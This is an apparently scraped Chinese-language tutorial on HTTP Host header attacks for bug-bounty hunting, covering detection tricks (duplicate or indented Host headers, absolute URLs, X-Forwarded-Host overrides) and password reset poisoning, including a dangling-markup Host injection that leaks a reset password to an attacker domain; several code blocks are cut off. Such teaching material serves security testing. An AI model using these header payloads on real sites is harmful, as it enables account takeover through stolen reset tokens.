SRC-HOST头攻击
1. Host头攻击
1.1 Host头作用
- 是确定客户端要与哪个后端组件通信。如果请求不包含主机头,或者如果主机头在某种程度上格式错误,则在请求路由到目标应用程序时会导致问题。
- 单个Web服务器托管多个网站或应用程序。尽管这些不同的网站都有不同的域名,但它们都与服务器共享一个共同的IP地址。
- 网站托管在不同的后端服务器上,但客户端和服务器之间的所有流量都通过中间系统进行路由。它们的所有域名也会解析为中间组件的单个IP地址。
- 依赖Host头来指定预期的收件人。当浏览器发送请求时,目标URL将解析为特定服务器的IP地址。当此服务器接收到请求时,它会参考主机标头来确定预期的后端,并相应地转发请求。
1.2 HOST头攻击
网站以不安全的方式处理Host的值,并且用于网站不同系统之间的各种交互。如果服务器没有合理验证或过滤该值,则会让攻击荷载成功进入到系统内部。尤其实际上Host的值是用户可控的,因此会导致许多安全问题
- 密码重置中毒
- 业务逻辑漏洞
- 服务器端访问请求伪造(SSRF)
- SQL注入、XSS等
1.3 如何发现Host漏洞
Host
为任意值,但仍能成功访问服务器有时被配置为默认或备用选项,以防它们接收到对它们不识别的域名的请求。
返回错误响应
检查验证是否有缺陷
某些解析算法将省略Host报头中的端口,这意味着只对域名进行验证。如果您还可以提供非数字端口,则可以保持域名不变,以确保您到达目标应用程序,同时可能会通过该端口注入有效负载
idea.com:idead.com
发送有歧义的请求
注入重复的Host
1
2
3GET /example HTTP/1.1
Host: idea.com
Host: idead.com提供绝对路径的URL
1
2
3# 这样可以的话就不需要在Host里改了
GET https://vulnerable-website.com/ HTTP/1.1
Host: bad-stuff-here尝试不同的协议(http\https),查看响应是否不同
添加换行符(表头缩进)
1
2
3
4# 如果前端忽略了缩进头部,则该请求将作为VULNERABLE-Website.com的普通请求处理。现在假设后端忽略前导空格(未忽略缩进头部),并且在出现重复项的情况下优先使用第一个标头。我们就可以利用host传递任意值。
GET /example HTTP/1.1
Host: idead
Host: idea.com
httpd请求走私
X-Forwarded-Host
覆盖原Host
值X-Forwarded-Server
X-Host
X-HTTP-Host-Override
Forwarded
X-forwarded-For
2. 密码重置中毒漏洞
应用场景多用于:通过链接认证的
密码找回
、密码修改
等通过链接点击确认绕过的。
2.1 原理
**白话描述:**在需要用户邮箱认证的前提下,通过对host
、X-Forwarded-Host
的操作,让服务器在产生链接时欺骗服务器其域名,产生一个链接到攻击服务器
的链接,我们可以通过该服务器获取其修改密码的token
,从而修改该用户密码。(钓鱼)
举例:
正常链接:http://idea.com?token=aaaaa
伪造链接:http://idead.com?token=aaaa
2.2 通过Host头
更换
Host
头,但你仍能成功访问到程序。
1 | # 正常请求host |
当该邮箱的用户
点击我们的链接时(表示同意修改邮箱密码),该链接在修改host后产生的链接地址已经是我们服务器伪造的域名地址,所以请求的地址不会是原来的idea
而是我们自己的服务器,我们就可以直接拿到他的token
,从而伪造该用户对账户信息进行修改。
2.3 通过X-Forworded-Host
当
Host
头被拦截,我们可以通过X-Forwarded-Host
来绕过。
1 | Host: idea.com # 这个用于路由校验 |
与Host
的逻辑相同。
2.4 双写Host头绕过
1 | Host: idea.com # 路由喜欢校验第一个 |
2.5 通过XSS助力
当某网站直接返回的密码,我们可以通过XSS对链接操作从而来绕过。
正常返回邮件HTML:
1 | <p>Please <a href='https://account.idea.com/login'>click here</a> to login with your new password: EqTvdZeckf</p> |
通过Host注入:
1 | Host: idea.com:'<a href="https://account.idead.com/? |
邮件显示源码:
1 | <p>Please <a href='https://account.idea.com:'<a href="https://account.idead.com/?/login'>click here</a> to login with your new password: BqnjJKmaQ0</p> |
解题思路 :
通过'
把原标签闭合,然后再建立一个新的<a>
标签,用?
将标签后的所有内容作为参数,发送到我们的服务器。